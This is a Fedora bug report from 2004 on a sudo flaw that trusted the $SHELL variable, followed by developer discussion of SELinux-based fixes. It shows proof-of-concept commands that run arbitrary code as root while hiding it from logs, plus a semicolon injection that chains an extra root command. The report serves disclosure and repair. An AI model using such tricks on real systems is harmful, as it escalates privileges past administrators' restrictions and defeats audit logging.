Bug 118602

Summary: Sudo trusts the contents of the $SHELL environment variable!!!!
Product: [Fedora] Fedora Reporter: Aleksey Nogin <aleksey>
Component: sudoAssignee: Thomas Woerner <twoerner>
Status: CLOSED RAWHIDE QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: rawhideCC: chris.ricker, dwalsh, sdsmall
Target Milestone: ---Keywords: Security, SELinux
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2004-05-07 01:17:23 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description Aleksey Nogin 2004-03-18 04:04:06 UTC
% env SHELL=/bin/echo /usr/bin/sudo id
-c /usr/bin/id

% 
env SHELL=/tmp/bad /usr/bin/sudo echo foo
This is an arbitrary malicious script
Running id:
uid=0(root) gid=0(root)
гÑÑппÑ=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=aleksey:staff_r:staff_t

# tail -2 /var/log/secure
Mar 17 19:59:27 dell /usr/bin/sudo:  aleksey : TTY=pts/2 ;
PWD=/home/aleksey ; USER=root ; COMMAND=/usr/bin/id
Mar 17 20:04:47 dell /usr/bin/sudo:  aleksey : TTY=pts/2 ;
PWD=/home/aleksey ; USER=root ; COMMAND=/bin/echo foo

This is a _huge_ secutiry hole - if sudoers restricts a user to only
being allowed to execute some very restricted set of commands, [s]he
can use this hole to execute arbitrary commands (while still only
showing the "allowed" stuff in the logs!).

P.S. I believe this was introduced as a very weird way of addressing
some SELinux issues.

Comment 1 Daniel Walsh 2004-03-18 04:41:32 UTC
Changed it to always use "/bin/bash -c" for selinux.

sudo-1.6.7p5-21

Comment 2 Aleksey Nogin 2004-03-18 04:59:53 UTC
What about the special caracters? In -20, I see

% /usr/bin/sudo echo foo \; id
foo
uid=0(root) gid=0(root)
гÑÑппÑ=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=aleksey:staff_r:staff_t

In this case this is at least logged, but it is still not good.

Comment 3 Stephen Smalley 2004-03-18 13:23:17 UTC
An alternative to executing bash -c command to perform the domain
transition back into the user domain and then from the user's domain
into the program's domain would be to have sudo directly ask the
kernel for the domain that the program would run in if it were
directly executed by the user's domain, e.g.
/* Get context of program */
rc = getfilecon(safe_cmnd, &file_context);
if (rc < 0) { handle error }
/* Ask the kernel what context it would use if the user context
directly ran this program. */
rc = security_compute_create(user_context, file_context,
SECCLASS_PROCESS, &new_context);
if (rc < 0) { handle error }
/* Set our exec context to that context for running the program. */
rc = setexeccon(new_context);

(user_context above is what you are referring to as new_context in
your current patch)

Obviously, this would require some policy modifications as well, e.g.
allow sudo_t { bin_t sbin_t exec_type }:file getattr;
Authorize a direct transition from sudo_t to each program domain, e.g.
domain_trans(sudo_t, mount_exec_t, mount_t) in mount.te

Naturally, it would still fail if in the wrong role, e.g. if you
start in user_r or staff_r and want to mount a CD, you'd have to: sudo
-r sysadm_r mount /mnt/cdrom.

BTW, it looks like you need to allow sudo_t var_run_t:dir search;
in your sudo.te.

Comment 4 Stephen Smalley 2004-03-18 14:25:43 UTC
Another option that would avoid the need for such significant
policy modifications would be to create a small "shell" program
that just exec's its arguments, install it and label it shell_exec_t,
and have sudo always execute its commands via this helper program.
That would allow the normal domain transitions to work in the usual
manner, but avoid the problems with a full general purpose shell.


Comment 5 Thomas Woerner 2004-03-24 16:21:59 UTC
Is this fixed with the latest version?

Comment 6 Daniel Walsh 2004-03-24 16:25:54 UTC
Yes sudo-1.6.7p5-23
policy-1.9-* I believe

Comment 7 Aleksey Nogin 2004-05-07 01:17:23 UTC
I believe this has been fixed for a while now.